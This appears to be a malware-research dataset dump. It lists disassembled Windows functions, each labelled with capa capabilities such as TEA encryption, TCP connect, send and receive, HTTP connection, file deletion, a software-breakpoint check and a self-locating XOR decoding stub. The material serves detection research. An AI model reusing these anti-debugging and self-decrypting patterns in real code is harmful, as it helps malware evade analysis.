joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5774e8
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
push edi
xor edi, edi
cmp dword [ebp + 8], edi
mov dword [ebp - 0xc], edi
mov dword [ebp - 4], edi
je 0x57766a
cmp dword [ebp + 0xc], edi
je 0x57766a
push edi
push 0x8000080
push 3
push edi
push edi
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_CreateFileW]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
jne 0x577535
mov eax, 0x80004005
jmp 0x57766f
push ebx
push esi
mov ebx, 0x400000
and dword [ebp + 8], 0
push 0x18
pop esi
sub esi, edi
cmp esi, ebx
jbe 0x57754b
mov esi, ebx
push 0
lea eax, [ebp + 8]
push eax
push esi
lea eax, [ebp + edi - 0x24]
push eax
push dword [ebp - 8]
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
je 0x5775bf
cmp dword [ebp + 8], 0
je 0x5775bf
cmp dword [ebp + 8], esi
jne 0x5775bf
add edi, esi
cmp edi, 0x18
jne 0x57753c
xor ebx, ebx
cmp dword [ebp - 0x24], ebx
je 0x577647
cmp dword [ebp - 0x20], ebx
je 0x577647
cmp dword [ebp - 0x1c], ebx
je 0x577647
cmp dword [ebp - 0x10], ebx
je 0x5775a8
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x24]
jne 0x577647
push 0x2c
call sub.msvcrt.dll_void____cdecl_operator_new_unsigned_int_
cmp eax, ebx
pop ecx
je 0x5775c9
mov ecx, eax
call fcn.00577247
mov esi, eax
jmp 0x5775cb
mov edi, 0x80004005
jmp 0x57764c
xor esi, esi
cmp esi, ebx
mov dword [ebp - 0xc], esi
jne 0x5775d9
mov edi, 0x8007000e
jmp 0x57764c
cmp dword [ebp - 0x10], ebx
push dword [ebp - 0x1c]
mov ecx, esi
push dword [ebp - 0x20]
je 0x5775f3
push dword [ebp - 0x14]
push dword [ebp - 0x18]
call fcn.0055dd3e
jmp 0x5775fb
push dword [ebp - 0x24]
call fcn.0055dd3e
mov edi, eax
cmp edi, ebx
mov eax, dword [esi]
jge 0x57760c
push 1
mov ecx, esi
call dword [eax + 0x4c]
jmp 0x57764c
lea ecx, [ebp - 4]
push ecx
push dword [ebp - 0x24]
push ebx
push esi
call dword [eax + 0x28]
mov edi, eax
cmp edi, ebx
jl 0x57764c
mov eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x24]
shl eax, 2
push eax
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.0055dd3e
mov edi, eax
test edi, edi
jl 0x57764c
mov eax, dword [ebp + 0xc]
mov dword [eax], esi
xor edi, edi
jmp 0x57764c
mov edi, 0x8876086c
cmp dword [ebp - 4], 0
pop esi
pop ebx
je 0x57765d
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x2c]
push dword [ebp - 8]
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, edi
jmp 0x57766f
mov eax, 0x8876086c
pop edi
leave
ret 8
Function at 0x57a068
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x60109d
call fcn.00600168
push ecx
push ebx
push esi
mov esi, ecx
push edi
xor edi, edi
lea ecx, [esi + 0x10]
mov dword [ebp - 0x10], esi
mov dword [esi], 0x421f30
mov dword [esi + 4], edi
mov dword [esi + 8], edi
mov dword [esi + 0xc], edi
call fcn.00579ebb
fld1
xor ebx, ebx
fstp dword [esi + 0x20]
inc ebx
lea ecx, [esi + 0x74]
mov dword [ebp - 4], edi
mov dword [esi + 0x24], edi
mov dword [esi + 0x28], edi
mov dword [esi + 0x2c], edi
mov dword [esi + 0x30], ebx
mov dword [esi + 0x34], edi
mov dword [esi + 0x38], edi
mov dword [esi + 0x3c], edi
mov dword [esi + 0x40], edi
mov dword [esi + 0x44], edi
mov dword [esi + 0x48], edi
mov dword [esi + 0x50], edi
mov dword [esi + 0x54], 0x3ba3d70a
mov dword [esi + 0x6c], edi
call fcn.0058659f
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x4c], ebx
pop edi
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x58659f
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x601395
call fcn.00600168
push ecx
push ebx
xor ebx, ebx
push esi
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 4], ebx
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
mov dword [esi], ebx
lea ecx, [esi + 0x10]
mov dword [ebp - 4], ebx
call fcn.00591e97
lea ecx, [esi + 0x20]
mov byte [ebp - 4], 1
call fcn.00591e97
lea ecx, [esi + 0x30]
mov byte [ebp - 4], 2
call fcn.00591e97
lea ecx, [esi + 0x40]
mov byte [ebp - 4], 3
call fcn.0058498f
lea ecx, [esi + 0x50]
mov byte [ebp - 4], 4
call fcn.005849f8
lea ecx, [esi + 0x60]
mov byte [ebp - 4], 5
call fcn.005849f8
lea ecx, [esi + 0x70]
mov byte [ebp - 4], 6
call fcn.0058654e
or dword [esi + 0x90], 0xffffffff
or dword [esi + 0x94], 0xffffffff
or dword [esi + 0x98], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x80], ebx
mov dword [esi + 0x84], ebx
mov dword [esi + 0x88], ebx
mov dword [esi + 0x8c], ebx
mov dword [esi + 0x9c], ebx
mov dword [esi + 0xa0], ebx
mov dword [esi + 0xa4], ebx
mov dword [esi + 0xa8], ebx
mov byte [esi + 0xac], bl
mov byte [esi + 0xad], bl
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x5a4717
Capabilities:
Delete file

Disassembly:
mov edi, edi
push esi
push edi
mov edi, dword [sym.imp.kernel32.dll_CloseHandle]
mov esi, ecx
push dword [esi + 0x30]
mov dword [esi], 0x4238d8
call edi
push dword [esi + 0x34]
call edi
mov eax, dword [esi + 0x38]
cmp eax, 0xffffffff
je 0x5a473e
push eax
call edi
mov al, byte [esi + 0x48]
test al, 0x40
je 0x5a4754
test al, al
js 0x5a4761
push dword [esi + 0xc]
call dword [sym.imp.kernel32.dll_DeleteFileW]
jmp 0x5a4761
test al, al
js 0x5a4761
push dword [esi + 0xc]
call dword [sym.imp.kernel32.dll_DeleteFileA]
push dword [esi + 0xc]
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
mov eax, dword [esi + 8]
pop ecx
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
lea ecx, [esi + 0x20]
call fcn.005a2c49
pop edi
lea ecx, [esi + 0x10]
pop esi
jmp fcn.005a2252
Function at 0x5a4d0c
Capabilities:
Delete file

Disassembly:
mov edi, edi
push ebx
push esi
mov esi, ecx
push edi
mov dword [esi], 0x42383c
call fcn.0055dd3e
lea ebx, [esi + 0x30]
mov ecx, ebx
call fcn.0055dd3e
push dword [esi + 0x3c]
call dword [sym.imp.kernel32.dll_CloseHandle]
mov edi, dword [esi + 0x48]
test edi, edi
je 0x5a4d48
push dword [edi + 0xc]
call sub.msvcrt.dll_free
push edi
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
pop ecx
pop ecx
mov edi, dword [esi + 0x4c]
test edi, edi
je 0x5a4d5f
push dword [edi + 0xc]
call sub.msvcrt.dll_free
push edi
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
pop ecx
pop ecx
mov eax, dword [esi + 0x50]
xor edi, edi
cmp eax, edi
je 0x5a4da9
cmp dword [eax], edi
jbe 0x5a4d92
mov eax, dword [esi + 0x50]
mov eax, dword [eax + 0xc]
push dword [eax + edi*4]
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov eax, dword [esi + 0x50]
mov eax, dword [eax + 0xc]
push dword [eax + edi*4]
call sub.msvcrt.dll_free
mov eax, dword [esi + 0x50]
inc edi
cmp edi, dword [eax]
pop ecx
jb 0x5a4d6c
mov edi, dword [esi + 0x50]
test edi, edi
je 0x5a4da9
push dword [edi + 0xc]
call sub.msvcrt.dll_free
push edi
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
pop ecx
pop ecx
mov edi, dword [esi + 0x54]
test edi, edi
je 0x5a4dc0
push dword [edi + 0xc]
call sub.msvcrt.dll_free
push edi
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
pop ecx
pop ecx
cmp byte [esi + 0x5c], 0
je 0x5a4dd6
cmp dword [esi + 0x44], 1
jne 0x5a4de4
push dword [esi + 0x2c]
call fcn.0055dd3e
jmp 0x5a4de4
cmp dword [esi + 0x44], 1
jne 0x5a4de4
push dword [esi + 0x2c]
call fcn.0055dd3e
push dword [esi + 0x2c]
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
mov eax, dword [esi + 8]
pop ecx
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, ebx
call fcn.005a58f3
lea ecx, [esi + 0x1c]
call fcn.005a2c09
pop edi
lea ecx, [esi + 0xc]
pop esi
pop ebx
jmp fcn.005a2252

Function at 0x5ae180
Capabilities:
Check for software breakpoints

Disassembly:
cmp dword [esi + 0x14], 0xcc
je 0x5ae1a3
mov eax, dword [esi + 0x1a8]
push esi
call dword [eax]
mov dword [esi + 0x8c], 0
mov dword [esi + 0x14], 0xcc
mov ecx, dword [esi + 0x1a8]
mov eax, dword [ecx + 8]
test eax, eax
je 0x5ae1c9
mov eax, dword [esi]
push esi
mov dword [eax + 0x14], 0x30
call dword [eax]
mov edx, dword [esi + 0x1a8]
mov eax, dword [edx + 8]
test eax, eax
jne 0x5ae1b0
mov edx, dword [esi + 0x44]
xor eax, eax
test edx, edx
setne al
add eax, 0xcd
mov dword [esi + 0x14], eax
mov eax, 1
ret

Function at 0x6006b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x620894]
jne 0x6006c1
test ecx, 0xffff0000
jne 0x6006c1
ret
jmp fcn.006006cb

Function at 0x409ebd
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, section.sect_0
call 0x409ebd
lcall 0x5de5, 0x8b10c483
jmp fcn.0076d6b4
Function at 0x401000
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_ntohl]
push esi
mov esi, ecx
push edi
push dword [esi]
call ebx
push dword [esi + 4]
mov edi, eax
call ebx
mov ebx, eax
xor esi, esi
push dword [esi + 0x418a98]
call dword [sym.imp.WS2_32.dll_ntohl]
mov dword [ebp + esi - 0x10], eax
add esi, 4
cmp esi, 0x10
jl 0x401020
xor edx, edx
lea esi, [edx + 0x10]
nop dword [eax]
mov ecx, ebx
lea edx, [edx - 0x61c88647]
shr ecx, 5
mov eax, ebx
add ecx, dword [ebp - 0xc]
shl eax, 4
add eax, dword [ebp - 0x10]
xor ecx, eax
lea eax, [edx + ebx]
xor ecx, eax
add edi, ecx
mov ecx, edi
mov eax, edi
shr ecx, 5
add ecx, dword [ebp - 4]
shl eax, 4
add eax, dword [ebp - 8]
xor ecx, eax
lea eax, [edx + edi]
xor ecx, eax
add ebx, ecx
sub esi, 1
jne 0x401040
push edi
mov edi, dword [sym.imp.WS2_32.dll_htonl]
call edi
mov esi, dword [ebp + 8]
push ebx
mov dword [esi], eax
call edi
pop edi
mov dword [esi + 4], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x4010a0
Capabilities:
Encode data using xor
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_ntohl]
push esi
mov esi, ecx
push edi
push dword [esi]
call ebx
push dword [esi + 4]
mov edi, eax
call ebx
mov ebx, eax
xor esi, esi
push dword [esi + 0x418a98]
call dword [sym.imp.WS2_32.dll_ntohl]
mov dword [ebp + esi - 0x10], eax
add esi, 4
cmp esi, 0x10
jl 0x4010c0
mov edx, 0xe3779b90
mov esi, 0x10
mov ecx, edi
mov eax, edi
shr ecx, 5
add ecx, dword [ebp - 4]
shl eax, 4
add eax, dword [ebp - 8]
xor ecx, eax
lea eax, [edx + edi]
xor ecx, eax
sub ebx, ecx
mov ecx, ebx
mov eax, ebx
shr ecx, 5
add ecx, dword [ebp - 0xc]
shl eax, 4
add eax, dword [ebp - 0x10]
xor ecx, eax
lea eax, [edx + ebx]
xor ecx, eax
lea edx, [edx + 0x61c88647]
sub edi, ecx
sub esi, 1
jne 0x4010e2
push edi
mov edi, dword [sym.imp.WS2_32.dll_htonl]
call edi
mov esi, dword [ebp + 8]
push ebx
mov dword [esi], eax
call edi
pop edi
mov dword [esi + 4], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4020a0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x418a94]
push esi
mov esi, ecx
test eax, eax
je 0x4020cd
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [0x418a94], 0
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x418a94], eax
mov eax, 2
mov word [ebp - 0x14], ax
mov eax, dword [0x418a88]
mov dword [ebp - 0x10], eax
movzx eax, word [0x418a8c]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x14]
push 0x10
push eax
push dword [0x418a94]
call dword [sym.imp.WS2_32.dll_connect]
push 0x23
push 0x8001
push esi
push dword [0x418a94]
call dword [sym.imp.WS2_32.dll_WSAAsyncSelect]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00402be0
mov esp, ebp
pop ebp
ret

Function at 0x402140
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [ebp + 8]
push esi
movzx eax, bx
movzx esi, ax
push edi
add esi, 0x10
mov dword [ebp - 8], edx
push esi
mov dword [ebp - 4], ecx
mov dword [ebp + 8], eax
call fcn.0040650b
mov edi, eax
add esp, 4
test edi, edi
je 0x402286
push dword [ebp - 4]
call dword [sym.imp.WS2_32.dll_htons]
push 0
mov word [edi], ax
call dword [sym.imp.WS2_32.dll_htons]
push 0xffffffffffffffff
mov word [edi + 2], ax
call dword [sym.imp.WS2_32.dll_ntohl]
push 0
mov dword [edi + 4], eax
mov word [edi + 8], 1
call dword [sym.imp.WS2_32.dll_htons]
push 0
mov word [edi + 0xa], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [edi + 0xc], ax
mov eax, dword [ebp + 8]
add eax, 2
push eax
call dword [sym.imp.WS2_32.dll_ntohs]
push ebx
push dword [ebp - 8]
mov word [edi + 0xe], ax
lea eax, [edi + 0x10]
push eax
call fcn.004048f0
lea edx, [esi + 0xa]
mov eax, 8
mov ecx, edx
and ecx, 7
sub eax, ecx
test ecx, ecx
cmove eax, ecx
add eax, edx
mov dword [ebp + 8], eax
add eax, 0x12
push eax
call fcn.0040650b
mov ebx, eax
add esp, 0x10
test ebx, ebx
je 0x402286
lea eax, [ebp + 8]
mov edx, esi
push eax
lea ecx, [ebx + 0x12]
push ecx
push ecx
mov ecx, edi
call fcn.00401140
mov esi, dword [ebp + 8]
push edi
add esi, 0x12
call fcn.004064f0
add esp, 0x10
push esi
call dword [sym.imp.WS2_32.dll_htonl]
push 0x74
mov dword [ebx], eax
call dword [sym.imp.WS2_32.dll_ntohs]
push 0
mov word [ebx + 4], ax
call dword [sym.imp.WS2_32.dll_htons]
mov edi, dword [sym.imp.WS2_32.dll_ntohl]
push 0
mov word [ebx + 6], ax
call edi
push 0
mov dword [ebx + 8], eax
call edi
mov dword [ebx + 0xc], eax
mov edi, ebx
mov word [ebx + 0x10], 1
test esi, esi
jle 0x40227d
push 0
push esi
push edi
push dword [0x418a94]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x40227d
sub esi, eax
add edi, eax
test esi, esi
jg 0x402261
push ebx
call fcn.004064f0
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4023e0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call fcn.0040f170
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
movzx eax, word [ebp + 8]
mov dword [ebp - 0x100c], ecx
sub eax, 1
jne 0x4025e6
push ebx
push esi
push eax
lea ebx, [ebp - 0x1004]
push 0x1000
mov eax, ebx
push eax
push edx
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
test esi, esi
jle 0x4025e4
mov ecx, dword [0x418a7c]
mov eax, dword [sym.imp.WS2_32.dll_ntohl]
push edi
test ecx, ecx
je 0x402576
cmp dword [0x418a84], 4
jae 0x402495
mov ebx, dword [0x418a84]
lea eax, [ebp - 0x1004]
mov edi, 4
sub edi, ebx
cmp esi, edi
cmovl edi, esi
push edi
push eax
lea eax, [ebx + ecx]
push eax
call fcn.004048f0
add ebx, edi
add esp, 0xc
mov dword [0x418a84], ebx
cmp ebx, 4
jb 0x4025e3
mov eax, dword [sym.imp.WS2_32.dll_ntohl]
lea ebx, [ebp - 0x1004]
mov ecx, dword [0x418a7c]
add ebx, edi
sub esi, edi
push dword [ecx]
call eax
mov edx, dword [0x418a84]
mov ecx, eax
sub eax, edx
mov dword [ebp - 0x1010], ecx
mov dword [ebp - 0x1008], eax
cmp ecx, dword [0x418a80]
jle 0x4024ea
push ecx
push dword [0x418a7c]
mov dword [0x418a80], ecx
call fcn.004064e5
mov edi, eax
add esp, 8
test edi, edi
je 0x4025e3
mov eax, dword [ebp - 0x1008]
mov edx, dword [0x418a84]
mov dword [0x418a7c], edi
jmp 0x4024f0
mov edi, dword [0x418a7c]
test eax, eax
js 0x402550
cmp esi, eax
cmovl eax, esi
push eax
mov dword [ebp - 0x1008], eax
lea eax, [edx + edi]
push ebx
push eax
call fcn.004048f0
mov ecx, dword [0x418a84]
add esp, 0xc
add ecx, dword [ebp - 0x1008]
mov eax, dword [ebp - 0x1010]
mov dword [0x418a84], ecx
cmp ecx, eax
jl 0x4025e3
mov ecx, dword [ebp - 0x100c]
mov edx, edi
push eax
call fcn.00402290
add ebx, dword [ebp - 0x1008]
add esp, 4
sub esi, dword [ebp - 0x1008]
mov edi, dword [0x418a7c]
push edi
call fcn.004064f0
add esp, 4
mov dword [0x418a7c], 0
mov dword [0x418a84], 0
test esi, esi
jle 0x4025e3
mov eax, dword [sym.imp.WS2_32.dll_ntohl]
cmp esi, 4
jae 0x402582
mov edi, 4
jmp 0x402588
push dword [ebx]
call eax
mov edi, eax
push edi
cmp edi, esi
jg 0x4025bb
mov ecx, dword [ebp - 0x100c]
mov edx, ebx
call fcn.00402290
mov eax, dword [sym.imp.WS2_32.dll_ntohl]
sub esi, edi
add esp, 4
add ebx, edi
test esi, esi
jg 0x402576
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402be0
mov esp, ebp
pop ebp
ret
mov dword [0x418a80], edi
call fcn.0040650b
add esp, 4
test eax, eax
je 0x4025e3
push esi
push ebx
push eax
mov dword [0x418a7c], eax
call fcn.004048f0
add esp, 0xc
mov dword [0x418a84], esi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402be0
mov esp, ebp
pop ebp
ret

Function at 0x403534
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x403573
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x403573
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x403573
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x403573
cmp dword [ecx + 0x74], 0xe
jbe 0x403573
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x4088c7
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x408912
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.00408a66
test al, al
jne 0x40890c
sub edx, 2
cmp edx, edi
jne 0x4088f2
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x408934
lea eax, [edi + 2]
cmp edx, eax
je 0x408934
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.00408813
add esp, 0x10
jmp 0x408a2e
push esi
lea ecx, [ebp - 0x255]
call fcn.00408a66
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x408977
push dword [ebp - 0x25c]
jmp 0x408924
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x4089b4
cmp word [ebp - 0x226], 0
je 0x4089d5
cmp word [ebp - 0x226], ax
jne 0x4089b4
cmp word [ebp - 0x224], 0
je 0x4089d5
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.00408813
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x408a21
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x40898e
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x408a09
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x408a2e
push 0x408643
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.0040b400
add esp, 0x10
jmp 0x4089fe
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402be0
leave
ret

Function at 0x40a3ff
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4122c4
push 0x4122bc
push str.FlsAlloc
push 0x1e
call fcn.0040a33c
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40a433
push dword [ebp + 8]
mov ecx, esi
call dword [0x410230]
call esi
jmp 0x40a439
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x40a47d
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4122d4
push 0x4122cc
push str.FlsGetValue
push 0x20
call fcn.0040a33c
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40a4b4
push dword [ebp + 8]
mov ecx, esi
call dword [0x410230]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x40f090
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40f0bd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40f0bd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x103c0ae4
Capabilities:
Encode data using xor

Disassembly:
jmp 0x103c0aee
pushal
call 0x103c0af4
pop ebp
sub ebp, 0x10
sub ebp, 0x3c0ae4
mov al, byte [esp + 0x28]
cmp al, 1
je 0x103c0b18
popal
xor eax, eax
inc eax
ret 0xc
jmp 0x103c0b21
mov eax, 0x3c0ae4
add eax, ebp
add eax, 0x63
mov ecx, 0x626
mov edx, 0xbd677b14
xor byte [eax], dl
inc eax
dec ecx
jne 0x103c0b38
jmp 0x103c0b4b
lahf
fstp dword [edi + 0x1414289d]
adc al, 0x95
aad 0xec
adc al, 0x14
adc al, 0x17
fldcw word [edi + edx - 0x51ebebec]
adc al, 0x14
adc al, 0xae
cmp al, 0x14
adc al, 0x14
jecxz 0x103c0b5d
pop ss
fcomp qword [edi + 0x14141895]
adc al, 0x17
pop ss
rol dword [ecx + ebx*4 + 0x70], 1
xor al, ch
popfd
adc byte [eax], dh
jl 0x103c0b6f
pushfd
sbb dl, byte [esp + edi*2]
adc eax, 0x15143996
cmp byte [eax], dh
jl 0x103c0b98
jmp 0x103c0b70
lahf
xchg ecx, eax
sbb al, 0x14
adc al, 0x14
lahf
sbb dword [eax], 0x9f141414
cdq
add al, 0x14
adc al, 0x14
aad 0xfd
push ss
and eax, 0x10d69716
pop ebp
sbb edx, dword [ecx - 0x14141420]
dec ecx
salc
sbb byte [edi + ebx*4], dl
cwde
xor byte [eax], dl
adc al, 0x14
adc al, 0x7c
hlt
Function at 0x30026612
Capabilities:
Accept command line arguments

Disassembly:
call dword [sym.imp.kernel32.dll_GetCommandLineW]
movzx ecx, word [eax]
cmp cx, 0x22
push 2
pop edx
jne 0x30026636
add eax, edx
movzx ecx, word [eax]
cmp cx, 0x22
je 0x3002664c
test cx, cx
jne 0x30026624
jmp 0x30026656
cmp cx, 0x20
jbe 0x3002664e
add eax, edx
cmp word [eax], 0x20
ja 0x3002663c
jmp 0x3002664e
cmp cx, 0x20
ja 0x30026656
add eax, edx
movzx ecx, word [eax]
test cx, cx
jne 0x30026646
and dword [0x300c1bb0], 0
push eax
call main
mov ecx, eax
and ecx, 0x60
je 0x3002666d
mov eax, ecx
ret
test al, 8
je 0x30026675
push 8
pop eax
ret
push esi
mov esi, 0x1eee
test esi, eax
jne 0x30026683
xor eax, eax
pop esi
ret
xor ecx, ecx
push ebx
xor edx, edx
inc edx
shl edx, cl
test esi, edx
je 0x3002669b
test eax, edx
je 0x3002669b
mov ebx, eax
sub ebx, edx
test esi, ebx
jne 0x300266ab
inc ecx
cmp ecx, 0x20
jb 0x30026686
test al, 4
je 0x300266ad
test ax, 0x100
jne 0x300266ad
xor eax, eax
pop ebx
pop esi
ret

Function at 0x300266b0
Capabilities:
Read file via mapping

Disassembly:
mov eax, dword [0x300c1bb0]
push esi
xor esi, esi
push esi
push esi
push esi
push 6
push eax
mov dword [0x300bfc5c], eax
call dword [sym.imp.kernel32.dll_MapViewOfFile]
cmp eax, esi
mov dword [0x300bfc58], eax
je 0x30026715
cmp dword [eax], 0x9c9c
jne 0x30026715
cmp dword [eax + 4], 0x20000
jne 0x30026715
cmp dword [eax + 0x24], esi
je 0x30026715
cmp dword [eax + 0x18], esi
je 0x30026715
cmp dword [eax + 0x20], esi
je 0x30026715
cmp dword [0x300c1bc0], esi
jne 0x300266ff
cmp dword [eax + 0x28], esi
je 0x30026715
push dword [eax + 0x3c]
push dword [eax + 0x34]
push dword [eax + 0x30]
push dword [eax + 0x2c]
call main
xor eax, eax
inc eax
pop esi
ret
xor eax, eax
pop esi
ret

Function at 0x30031020
Capabilities:
Connect to http server

Disassembly:
push ebx
push esi
xor ebx, ebx
call fcn.3003da0a
test eax, eax
mov esi, 0x300bcfe4
je 0x3003103f
push esi
push 0x30004320
call main
pop ecx
pop ecx
mov eax, dword [0x300bd9ec]
test eax, eax
je 0x3003104d
mov ebx, 0x800000
neg eax
push 1
sbb eax, eax
push ebx
and eax, 0x16b
add eax, 0x50
push 3
movzx ecx, ax
mov eax, 0x300029e5
push eax
push eax
push ecx
push esi
push dword [0x300bcfb0]
call dword [sym.imp.WININET.dll_InternetConnectA]
xor ecx, ecx
cmp eax, ecx
pop esi
mov dword [0x300bcfb4], eax
mov dword [0x300bfc48], 1
mov dword [0x300bcfbc], ecx
pop ebx
jne 0x300310b6
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x3e5
je 0x300310cf
call fcn.3003da0a
test eax, eax
je 0x300310b3
push 0x30004308
call main
xor eax, eax
ret
push ecx
push ecx
push 0x1427
push dword [0x300c7a90]
mov dword [0x300bfc48], ecx
call dword [sym.imp.USER32.dll_PostMessageA]
xor eax, eax
inc eax
ret